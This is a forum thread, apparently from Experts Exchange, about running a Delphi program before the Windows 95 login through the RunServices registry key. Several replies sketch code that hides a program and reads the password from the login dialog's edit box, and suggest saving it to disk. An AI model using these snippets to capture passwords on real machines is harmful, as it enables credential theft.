Link to home
Start Free TrialLog in
Avatar of Azzoz
Azzoz

asked on

Start program befor login screen

I want to start my application befor windows logining how can I do that?
Avatar of Azzoz
Azzoz

ASKER

I use Windows 95
I think if you add a string entry into the registry at:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

to point to your application, it runs before the login...

Maybe after, but its worth a try...

Tim.
Avatar of Azzoz

ASKER

It run the application after logining not befor logining, so that I need some thing else
ASKER CERTIFIED SOLUTION
Avatar of derover
derover

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Doh! ;O(

Heee heee, so near, and yet so far ;O)

Tim.
just a note quick that ,that will work well on win9* but not nt.
I think you want to code a keylogger or something like that... ;-)
I know sombody has posted a solution in the borland-newgroups.... you can
add they @ http://www.borland.com/newsgroups
well, a key logger for that program he just descrived is pretty much the hardest way of doing it.....

Simply take password from the box just before the login screen terminates.....


var
buffer: array[0..50] of char;
i1 : integer;
s1 : string;

i1 := SendMessage(wnd, WM_GETTEXTLENGTH, 0, 0);
SetLength(s1, i1 + 1);
SetLength(s1, SendMessage(Wnd, WM_GETTEXT, i1 + 1,integer(s1)));

OK, anything else you want to know, you can make it up, as i do not do this stuff.... and just to add ( exitwindows(0,1); )

Craig C.
And what else Criag C, how can I get the password :-)
ok then, just for example... i wrote this program that displays info about programs when the mouse cursor is moved over them, its not a hacking tool, just a programmers tool: http://members.xoom.com/craig_c/mouse2.exe  there is a log off button on the form, click on it..... And if a follow up question is: How do you get the password and how do you go about it, I am simply not  a hacker, and not telling you.....
only exe file, there is no source, which programming language did you write it with?

Motaz
Avatar of Azzoz

ASKER

My application is not a service, it is a normal Windows application, so that I cann't start it as a service.

Azzoz
azzoz
you can start any program from there in win9* and you sholdnt get any errors as it doesnt have to be a service..
Avatar of Azzoz

ASKER

Okay, let me test it.

Azzoz
sorry about the exe, but at work and other machines i go to, hardly anyone of them have winzip, but most have internet access, so its easier for me to post up exe files... the program was wrote in Delphi... i would not Touch anything else, unless there was a reason too...  and as for source (The program would not even of got close to existing if not for barrys code :) )

The source code... i will think about giving it to you... depending....

Craig C.
Avatar of Azzoz

ASKER

It works, but when I cann't minimize my application

Azzoz
thats because it wrote it for something else, not for you... it was not designed to do what you want... i was pointing out to you another way of doing something....
azzoz ,
there is nowhere to minimize to(the taskbar dont exist yet..instead of minimizing it you'd have to hide it form1.visible := false ..why would you want to minmize it ?
it is the only program running before the login isnt it ?
inthe, would it be easier to give him the code and commit yourself as being some kind of hacker?

theres not really a lot of code to be done here ,and im still unsure of exacly what azzoz wants.

azzoz,give me more detailed details and i'll do some code if you want it.

ps craig.
  whats a "hacker"
   sounds like a bad cough ;-)
Good point :) since i know not of a hacker... i can tell you in all sweetness what you need to do....


You need to put a program in the runservices all ready provided by an expert... you need to simply hide your app....

showwindow(form1.handle,sw_hide);
  w:=findwindow('tapplication',nil);
  showwindow(w,sw_hide);

And then


i1 := SendMessage(wnd, WM_GETTEXTLENGTH, 0, 0);
SetLength(s1, i1 + 1);
SetLength(s1, SendMessage(Wnd, WM_GETTEXT, i1 + 1,integer(s1)));

To get the text out of the spcified window....


But you will need the handle.... of the appliation... and its this:

wnd:=findwindo('#32770',nil);
h:=getwindow(h,gw_child);
h:=getnextwindow(h,GW_HWNDNEXT);

If you were to keep on going, you will eventually get hold of the password edit box.... you the handle to pull out the password (while your program is for some reason... hidden)

Once you have this for no reason at all, simply save it to disk or something?

Ok as to why you need / want this.. pass, but i hope that helps :)

Craig C.

wnd:=findwindow('#32770',nil);  spelling mistake....
yep thats pretty much it ..but wait..how does your form program know when password has been typed?
a dll would be only way.
(i have done half of one i may sell it ya ;-)

anyway an installation script follows which puts the program in the registrys runservices key:(obviously could be used for other keys as well..


program startup;
uses Windows,registry;
var
StartupInfo : TStartupInfo;
ProcessInformation : TProcessInformation;
procedure RunOnStartup(sProgTitle, sCmdLine: string; bStartup: boolean );
var
sKey: string;
reg : TRegIniFile;
begin
sKey := '';
if bStartup = false then
begin
try
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.DeleteKey(
'Software\Microsoft\Windows\CurrentVersion\Runservices'
+ sKey + #0,
sProgTitle);
reg.Free;
exit;
except
end;
end;

try
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString(
'Software\Microsoft\Windows\CurrentVersion\RunServices'+ sKey + #0,
sProgTitle,
sCmdLine );
reg.Free;
except
end;
end;
Begin
GetStartupInfo(StartupInfo);
 RunOnStartup('motaz program', 'C:\Windows\system\motaz_program.exe', True);
end.

Avatar of Azzoz

ASKER

Beleive me that I'm not a hacker, I'm Delphi beginner, so how can I will be a hacker!!!!

My problem is that I run an application in startup this application reads some data from the serial port wich come from an telephone exchange, no one will sit in this computer so that if the power is turned off then it turned on again the computer start then it stops in Login screen, my application cann't be run befor befor logining so that all data wich come at this time will be lost, but when I run it as a service it runs befor the logining, but I cann't minimiz this application, any how every thing goes well, and I'll try to solve minimize problem my self, thans experts for this great help.

Azzoz
Avatar of Azzoz

ASKER

Beleive me that I'm not a hacker, I'm Delphi beginner, so how can I will be a hacker!!!!

My problem is that I run an application in startup this application reads some data from the serial port wich come from an telephone exchange, no one will sit in this computer so that if the power is turned off then it turned on again the computer start then it stops in Login screen, my application cann't be run befor befor logining so that all data wich come at this time will be lost, but when I run it as a service it runs befor the logining, but I cann't minimiz this application, any how every thing goes well, and I'll try to solve minimize problem my self, thans experts for this great help.

Azzoz
we never said you were a hacker :)

Barry, A Dll?

Would it not be easier just to poll the information out of the edit box say every 1000/second... and check to see if the dialog box has been terminated, the last password pulled out has to be the correct one?? I think you could get away with out using a dll...?